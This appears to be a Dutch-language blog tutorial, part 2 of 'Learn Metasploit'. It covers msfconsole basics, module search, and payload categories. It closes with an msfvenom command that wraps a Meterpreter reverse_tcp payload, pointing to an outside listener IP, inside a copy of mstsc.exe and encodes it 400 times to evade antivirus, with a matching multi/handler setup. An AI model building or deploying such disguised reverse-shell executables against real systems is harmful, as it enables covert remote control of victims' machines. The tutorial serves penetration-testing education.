Metasploit – Leer Metasploit 2
Welkom terug bij deel 2 van “Leer Metasploit”. In het eerste deel zijn we in vogelvlucht over Metasploit gevlogen. Met die kennis in gedachte gaan we nu aan de slag om echt met Metasploit en met name de payloads te werken. Laten we Metasploit eens gaan starten…
Het starten van Metasploit is ontzettend simpel. Vul het volgende commando in op de Linux Terminal (wij gebruiken Kali Linux waar Metasploit al geïnstalleerd is):
msfconsole |
Het opstarten van Metasploit duurt een tijdje. Als na een seconde of 30 Metasploit gestart is bevind je jezelf in het beginscherm:
Wat opvalt in het beginscherm is dat je de huidige versie te zien krijgt alsmede het aantal aanwezig exploits, payloads e.d. Onder deze informatie bevind zicht de Metasploit prompt (msf >).
Vroeger moest je Metasploit handmatig updaten met het msfupdate commando. Omdat metasploit echter een geintegreerd onderdeel is van Kali Linux wordt Metasploit geupdate met een simpel “apt-get update” commando.
Wat wel een tip is om te doen is het activeren van de “postgresql” database. Metasploit werkt zonder postgresql, maar als de database gestart is zal Metasploit deze database gebruiken en daardoor een stuk sneller functioneren. Door de postgresql database te activeren zal Metasploit sneller zoeken en informatie opslaan die je verzamelt tijdens het scannen en exploiteren.
Om de Metasploit console te verlaten gebruik je het commando:
quit |
Vervolgens starten we de postgresql database service:
service postgresql start |
Nu de service gestart is moeten we een database aanmaken (en/of) initiëren. Dit doen we met het commando:
msfdb init |
msfdb is hier de database waar Metasploit mee werkt. Deze naam mag niet anders zijn.
Wil je vanuit Metasploit later de status controleren van de database dan kun je het commando “db_status” gebruiken.
Nu we de database up-and-running hebben kunnen we de console weer starten (msfconsole). Zoals je zult zien rouleert Metasploit iedere keer de launch banner.
Je kunt de console ook zonder deze banner starten door toevoeging van de –q flag:
msfconsole -q |
Eerste Metasploit Commando’s
De Metasploit console is speciaal ontwikkeld om snel te navigeren. Zo zullen veel bekende opties net zo werken als in Bash of andere command line interface.
TAB
Omdat het vaak nogal lastig is om alle commando’s, payloads en exploits te onthouden is het ideaal dat een druk op de TAB toets alle mogelijke combinaties laat zien van een commando. Door meerdere keren op TAB te klikken kun je door alle mogelijke opties bladeren.
Pijltjestoetsen
Ook de pijltjestoetsen (omhoog en omlaag) laten je bladeren naar commando’s die reeds eerder ingevoerd zijn. Op die manier is het niet nodig om keer op keer alles opnieuw te typen.
Help
Wil je tijdens het werken in Metasploit meer informatie over de beschikbare commando’s dan is het voldoende om het vraagtekentje (?) te gebruiken of om het commando “help” in te typen. Als je meer informatie wilt over een specifiek commando dan gebruik je de -h flag achter het commando. Bijvoorbeeld:
show -h |
show
Met het “show” commando kan allerhande informatie opgevraagd worden. Wil je weten welke payloads er zijn gebruik je simpelweg:
show payloads |
Dit werkt uiteraard ook voor exploits e.d. Je kunt het show commando ook bekijken om bijvoorbeeld het aantal targets te bekijken welke bij een exploit geconfigureerd zijn.
show targets |
Als we nog geen exploit geselecteerd hebben en we gebruiken “show payload” dan zien we alle payloads. Als er al een exploit geselecteerd is en we gebruiken “show payload” dan zien we alleen de payloads welke gebruikt kunnen worden samen met de gekozen exploit.
Het “show” commando geeft dus inzicht in bepaalde informatie welke stadia afhankelijk kan zijn.
search
V.a. Metasploit 4 is het “search” commando aanwezig. Als je iets specifieks zoekt maar niet de exacte naam weet kun je het search commando gebruiken. Zoek je bijvoorbeeld alles dat te maken heeft met “autologin” dan gebruik je:
search autologin |
We kunnen de zoekopdrachten echter nog verfijnen. We kunnen zoeken op specifieke:
- app (cliënt / server attack modules)
- author (modules geschreven door een specifieke auteur)
- bid (modules met een overeenkomend Bugraq ID)
- cve (modules met een overeenkomend CVE ID)
- edb (modules met een overeenkomend Exploit-DB ID)
- name (modules met een overeenkomende naam)
- platform (modules voor een specifiek platform / OS)
- ref (modules met een overeenkomende referentie)
- type (modules van een specifiek type)
Wil ik zoeken naar alles dat van toepassing is op Windows dan gebruik ik dus:
search platform:windows |
Om alleen exploits te zoeken die van toepassing zijn op Windows gebruik je:
search platform:windows type:exploit |
En zoek je alleen exploits die van toepassing zijn op Windows en het keyword “eternalblue” hebben dan plaats je het zoekwoord achteraan:
search platform:windows type:exploit eternalblue |
Exploits zijn dus specifiek gemaakt voor bepaalde softwarepakketten en voornamelijk voor specifieke versies van deze softwarepakketten.
back
Zoals het commando al aangeeft is dit commando om terug te keren naar de msf console. Later, wanneer je een exploit gaat kiezen en je realiseert dat je de foute gekozen hebt dan kun je met dit commando terugkeren en een nieuwe keuze maken.
info
Nadat je in Metasploit een bepaalde module zoals een exploit geselecteerd hebt kun je met het info commando gedetailleerde informatie opvragen van een module. Vaak retourneert het info commando alle mogelijke instellingen alsmede een beschrijving van de instellingen.
Payloads
In de vorige post hebben we gedefinieerd wat Payload zijn. Wat we echter niet hebben gezien is dat alle payloads onderverdeeld worden in 8 verschillende types, namelijk:
- Meterpreter Payloads
Dit is een van de krachtigste payloads welke je bij voorkeur op de machine wilt hebben. Er zijn verschillende scripts voor Meterpreter waarmee we feitelijk de target machine volledig onder controle hebben. - PassiveX Payloads
De PassiveX payloads worden gebruikt wanneer een firewall outbound verkeer controleert en beperkt. PassiveX gebruikt ActiveX via Internet Explorer en gebruikt normaal HTTP verkeer. Op deze manier maskeert PassiveX het verkeer. - NoNX Payloads
NoNX payloads zijn speciaal gemaakt om de NX (No eXecute) feature van bepaalde processoren te omzeilen. In Windows wordt deze feature ook wel “Data Execution Prevention” genoemd. - Ord Payloads
Ord payloads werken door een DLL in een exploited proces te laden. Als de DLL geladen is dan is de payload actief. Deze Ord payloads werken op vrijwel alle windows machines en zijn erg klein. Het nadeel van deze payloads is dat ze relatief onstabiel zijn. - Reflective DLL Injection Payloads
Deze payloads worden direct in een proces geïnjecteerd terwijl deze in het geheugen wordt uitgevoerd, waardoor er nooit iets op de harde schijf wordt geschreven en er weinig of geen bewijs achterblijft. - Inline Payloads
Inline payloads zijn feitelijk een alles-in-een pakket. Deze pakketten zijn zowel exploit als payload maar daardoor relatief groot waardoor ze niet altijd met succes uitgevoerd kunnen worden. Inline payloads staan wel bekend om hun stabiliteit. - Staged Payloads
Deze payloads zijn enorm klein en dus in staat om zich in zeer kleine ruimtes te infiltreren om via die weg een “foothold” (voet tussen de deur) te creëren. Als de foothold is gecreëerd volgt er een andere fase om deze foothold te misbruiken en zo een andere payload aan te sturen om meer toegang te krijgen. - IPv6
Deze type payloads zijn speciaal geschreven voor IPv6 netwerken.
Metasploit hanteerd echter 3 andere categorieën. Metasploit hanteert “Stages”, “Stagers” en “Singles”.
De “Stager” payloads zijn de kleine payloads welke een foothold creëren.
De Stages patlo bestaan uit meerdere fases waarbij de eerste fase het creëren van een foothold is. De eerste fase is dus vaak een “stager” en de 2e face een grotere exploit zoals bijvoorbeeld een Meterpreter payload.
De “Singles” zijn feitelijk de “Inline Payloads”. Deze bestaan uit 1 enkel pakket. Deze Singles behoeven dus geen Stager om een systeem te infiltreren en zijn een stuk stabieler. Helaas is de code ook groter waardoor de kans op succes van een Single payload kleiner is dan die van en Staged payload.
Zoals je kunt zien vinden we binnen deze payload categorieën alle payloads gesorteerd op platform/OS.
ls /usr/share/metasploit-framework/modules/payloads/stages |
Omdat default payloads relatief snel herkend worden gaan we Msfvenom gebruiken om de payloads te maskeren.
Payloads maskeren met Msfvenom
Msfvenom is een nieuwe methode binnen het Metasploit framework om payloads te maskeren zodat deze niet meteen door een AV scanner herkend worden. In de basis zorgt het proces ervoor dat bad characters in de output voorkomen worden. Vroeger maskeerde we de payloads door deze te pipen naar het “msfencode” commando. Met msfvenom wordt dit proces verbeterend en vergemakkelijkt.
Echter. AV scanners zijn tegenwoordig slim genoeg om niet alleen naar de payload te kijken. De meeste AV scanners herkennen ook de encoding technieken van Metasploit en dus worden Msfvenom encoded payload ook vrij gemakkelijk herkend.
Dit wil echter niet zeggen dat we geen ondetecteerdbare payload kunnen craften. In dit hoofdstuk ga ik niet in op het ondetecteerbaar maken van een payload maar laat ik de Msfvenom basis zien.
Het “encoden” ofwel maskeren van payloads doen we middels speciale encoders. Metasploit komt standaard met een ruim assortiment aan encoders welke weer onderverdeeld zijn in verschillende categorieën:
Het oproepen van alle encoders doe je met het commando:
msfvenom -l encoders |
Zoals je ziet hebben veel modules binnen Metasploit ook een rating. Hoe beter de rating des te effectiever de module. Zo is in bovenstaande screenshot de encoder “cmd/powershell_base64” gecategoriseerd als “excellent”.
Voordat we een bepaalde encoding kunnen toepassen moeten we weten welke opties we in kunnen en moeten stellen.
Om de opties van de payload op te vragen moet de payload gespecificeerd worden door toevoeging van de –p flag en vragen we de opties op met de toevoeging van “–payload-options”. De Payload wordt gespecificeerd met het pad welke relatief is vanuit de stager, stages of single directory.
Het commando ziet er dan als volgt uit:
msfvenom –p windows/meterpreter/reverse_tcp –payload-options |
Voor de reverse TCP hebben we dus de volgende opties:
LHOST (local host / eigen IP)
LPORT (local port welke gebruikt wordt als listener poort)
De cliënt maakt dus een verbinding naar deze gegevens. Om dit te laten werken moet je uiteraard ook een listener starten op de juiste poort. Dit doe je door een multi-handler te starten voor deze reverse_tcp payload.
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp |
Nu de multi-handler gestart is en we weten wat we in gaan vullen wordt het tijd om de Meterpreter te verpakken in een bestand. Ik kies hiervoor de “mstsc.exe” van Microsoft en plaats deze op mijn desktop. Het hele commando ziet er dan als volgt uit:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= 53.89.103.10 LPORT=5330 -x /usr/share/mstsc.exe -e x86/shikata_ga_nai -i 400 -f exe >mstsc.exe |
-p = Definieer de payload
windows/meterpreter/reverse_tcp = De gewenste payload
LHOST= 53.89.103.10 = Het lokale IP adres
LPORT=5330 = De lokale listener poort
-x = Definieer een template (app) die je wilt gebruiken
/usr/share/mstsc.exe = het pad naar de template (app)
-e = Definieer een encoder
x86/shikata_ga_nai = De naam van de encoder die je wilt gebruiken om de payload te verpakken
-i = Definieer het aantal iteraties (de keren dat de payload encoded wordt
400 = Het aantal iteraties
-f = Definieer de output
Exe = Vertel msfvenom dat het een .exe moet worden
>mstsc.exe = Specificeer de naam van het output bestand (dit plaatst het output bestand in de actieve/working directory van Metasploit, je kunt ook een pad definiëren zoals b.v. /usr/share/mstsc.exe).
Conclusie
Toen ik aan deze post begon wilde ik eigenlijk nog niet zo ver de materie induiken maar door het bespreken van msfvenom kwamen we daar vanzelf. Je hebt al een payload gemaakt! Gefeliciteerd! In de volgende post gaan we wat dieper in op de exploits. Tot de volgende!